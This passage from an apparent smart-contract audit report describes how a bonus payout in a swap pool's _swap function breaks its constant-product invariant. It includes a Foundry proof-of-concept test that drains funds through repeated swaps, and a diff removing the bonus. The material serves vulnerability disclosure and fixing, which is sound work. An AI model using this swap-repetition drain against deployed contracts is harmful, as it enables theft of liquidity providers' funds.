This means, that whenever the balances change in the protocol, the ratio between the two amounts should remain constant, hence the k. However, this is broken due to the extra incentive in the _swap function. Meaning that over time the protocol funds will be drained.
The follow block of code is responsible for the issue.
**Impact:**A user could maliciously drain the protocol of funds by doing a lot of swaps and collecting the extra incentive given out by the protocol.
function testInvariantGetsBroken() public{
vm.startPrank(liquidityProvider);
weth.approve(address(pool), 100e18);
poolToken.approve(address(pool), 100e18);
pool.deposit(100e18, 100e18, 100e18, uint64(block.timestamp));
vm.stopPrank();
uint256 outputWeth = 1e17;
vm.startPrank(user);
poolToken.approve(address(pool), type(uint256).max);
poolToken.mint(user, 100e18);
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
int256 startingY = int256(weth.balanceOf(address(pool)));
int256 expectedChangeInY = int256(-1) * int256(outputWeth);
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
vm.stopPrank();
uint256 endingY = weth.balanceOf(address(pool));
int256 actualChangeInY = int256(endingY) - int256(startingY);
assert(actualChangeInY == expectedChangeInY);
}
function _swap(
IERC20 inputToken,
uint256 inputAmount,
IERC20 outputToken,
uint256 outputAmount
) private {
if (
_isUnknown(inputToken) ||
_isUnknown(outputToken) ||
inputToken == outputToken
) {
revert TSwapPool__InvalidToken();
}
- swap_count++;
- if (swap_count >= SWAP_COUNT_MAX) {
- swap_count = 0;
- outputToken.safeTransfer(msg.sender, 1_000_000_000_000_000_000);
- }
emit Swap(
msg.sender,
inputToken,
inputAmount,
outputToken,
outputAmount
);
inputToken.safeTransferFrom(msg.sender, address(this), inputAmount);
outputToken.safeTransfer(msg.sender, outputAmount);
}
